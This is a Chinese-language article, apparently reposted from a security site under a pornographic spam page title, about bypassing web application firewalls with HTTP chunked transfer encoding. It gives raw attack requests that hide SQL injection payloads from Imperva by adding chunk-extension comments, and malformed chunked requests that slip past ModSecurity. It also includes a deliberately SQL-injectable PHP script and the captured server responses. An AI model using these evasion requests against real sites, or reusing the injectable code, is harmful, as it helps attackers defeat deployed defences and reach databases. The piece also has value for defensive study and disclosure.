压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

利用分塊傳輸吊打所有WAF

技巧1 使用注釋擾亂分塊數據包

一些如Imperva、360等比較好的WAF已經對Transfer-Encoding的分塊傳輸做了處理,可以把分塊組合成完整的HTTP數據包,這時直接使用常規(guī)的分塊傳輸方法嘗試繞過的話,會被WAF直接識別并阻斷。

我們可以在[RFC7230]中查看到有關分塊傳輸的定義規(guī)范。

4.1.  Chunked Transfer Coding

   The chunked transfer coding wraps the payload body in order to
   transfer it as a series of chunks, each with its own size indicator,
   followed by an OPTIONAL trailer containing header fields.  Chunked
   enables content streams of unknown size to be transferred as a
   sequence of length-delimited buffers, which enables the sender to
   retain connection persistence and the recipient to know when it has
   received the entire message.

     chunked-body   = *chunk
                      last-chunk
                      trailer-part
                      CRLF

     chunk          = chunk-size [ chunk-ext ] CRLF
                      chunk-data CRLF
     chunk-size     = 1*HEXDIG
     last-chunk     = 1*("0") [ chunk-ext ] CRLF

     chunk-data     = 1*OCTET ; a sequence of chunk-size octets

   The chunk-size field is a string of hex digits indicating the size of
   the chunk-data in octets.  The chunked transfer coding is complete
   when a chunk with a chunk-size of zero is received, possibly followed
   by a trailer, and finally terminated by an empty line.

   A recipient MUST be able to parse and decode the chunked transfer
   coding.

4.1.1.  Chunk Extensions

   The chunked encoding allows each chunk to include zero or more chunk
   extensions, immediately following the chunk-size, for the sake of
   supplying per-chunk metadata (such as a signature or hash),
   mid-message control information, or randomization of message body
   size.

     chunk-ext      = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )

     chunk-ext-name = token
     chunk-ext-val  = token / quoted-string

   The chunked encoding is specific to each connection and is likely to
   be removed or recoded by each recipient (including intermediaries)
   before any higher-level application would have a chance to inspect
   the extensions.  Hence, use of chunk extensions is generally limited

通過閱讀規(guī)范發(fā)現(xiàn)分塊傳輸可以在長度標識處加上分號“;”作為注釋,如:

9;kkkkk
1234567=1
4;ooo=222
2345
0
(兩個換行)

幾乎所有可以識別Transfer-Encoding數據包的WAF,都沒有處理分塊數據包中長度標識處的注釋,導致在分塊數據包中加入注釋的話,WAF就識別不出這個數據包了。

現(xiàn)在我們在使用了Imperva應用防火墻的網站測試常規(guī)的分塊傳輸數據包:

POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked

9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1
d
9
&a=1	and	
3
2=2
0
(兩個換行)

返回的結果如下圖所示。

可以看到我們的攻擊payload “and 2=2”被Imperva的WAF攔截了。

這時我們將分塊傳輸數據包加入注釋符。

POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked

9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1;testsdasdsad
d
9;test
&a=1	and	
3;test44444
2=2
0
(兩個換行)

返回的結果如下圖所示。

可以看到Imperva已經不攔截這個payload了。

技巧2 Bypass ModSecurity

眾所周知ModSecurity是加載在中間件上的插件,所以不需要理會解析http數據包的問題,因為中間件已經幫它處理完了,那么無論使用常規(guī)的分塊還是加了注釋的分塊數據包,ModSecurity都能直接獲取到完整的http數據包然后匹配危險關鍵字,所以一些基于ModSecurity做的WAF產品難道就不受影響嗎?

接下來我們在Apache+ModSecurity環(huán)境做測試。

sql.php代碼如下:

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);
$con = mysql_connect("localhost","root","");
if (!$con)
{
    die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
$id = $_REQUEST["id"];
$sql = "select * from user where id=$id";
$result = mysql_query($sql,$con);
while($row = mysql_fetch_array($result))
{
    echo $row['name'] . " " . $row['password']."n";
}
mysql_close($con);
print "========GET==========n";
print_r($_GET);
print "========POST==========n";
print_r($_POST);
?>
<a href="sqli.php?id=1"> sdfsdf </a>

ModSecurity加載的規(guī)則攔截了請求包中的關鍵字“union”。

下面我們的請求和返回結果如下:

請求:
http://10.10.10.10/sql.php?id=2%20union

返回:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /sql.php was not found on this server.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>

可以看到我們的“union”關鍵字被攔截了。

接下來我們傳輸一個畸形的分塊數據包看看。

請求:
POST /sql.php?id=2%20union HTTP/1.1
......
Transfer-Encoding: chunked

1
aa
0
(兩個換行)


返回:
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
========GET==========
Array
(
   [id] => 2 union
)
========POST==========
Array
(
)

可以看到雖然apache報錯了,但是因為apache容錯很強,所以我們提交的參數依然傳到了php,而我們的ModSecurity并沒有處理400錯誤的數據包,最終繞過了ModSecurity。

接下來我們把ModSecurity的規(guī)則改為過濾返回數據中包含“root”的字符串,然后在sql.php腳本中加入打印“root”關鍵字的代碼。

接著我們做如下測試:

請求:
http://10.10.10.10/sql.php?id=1

返回:
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /sql.php
on this server.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>

因為sql.php腳本中返回了帶有“root”的關鍵字,所以直接就被ModSecurity攔截了。這時我們改為發(fā)送畸形的分塊數據包。

請求:
POST /sql.php?id=1 HTTP/1.1
Host: 10.10.10.10
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 16

3
123
1
0
(兩個換行)


返回:
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
root 123456
========GET==========
Array
(
   [id] => 1
)
========POST==========
Array
(
)

通過兩個測試可以發(fā)現(xiàn)使用畸形的分塊數據包可以直接繞過ModSecurity的檢測。這個問題我們在2017年4月已提交給ModSecurity官方,但是因為種種問題目前依然未修復。

原文鏈接:https://www.anquanke.com/post/id/169738

上一篇:Linux系統(tǒng)systemd-journald服務本地提權漏洞分析預警

下一篇:遠程侵入飛機網絡并非不可能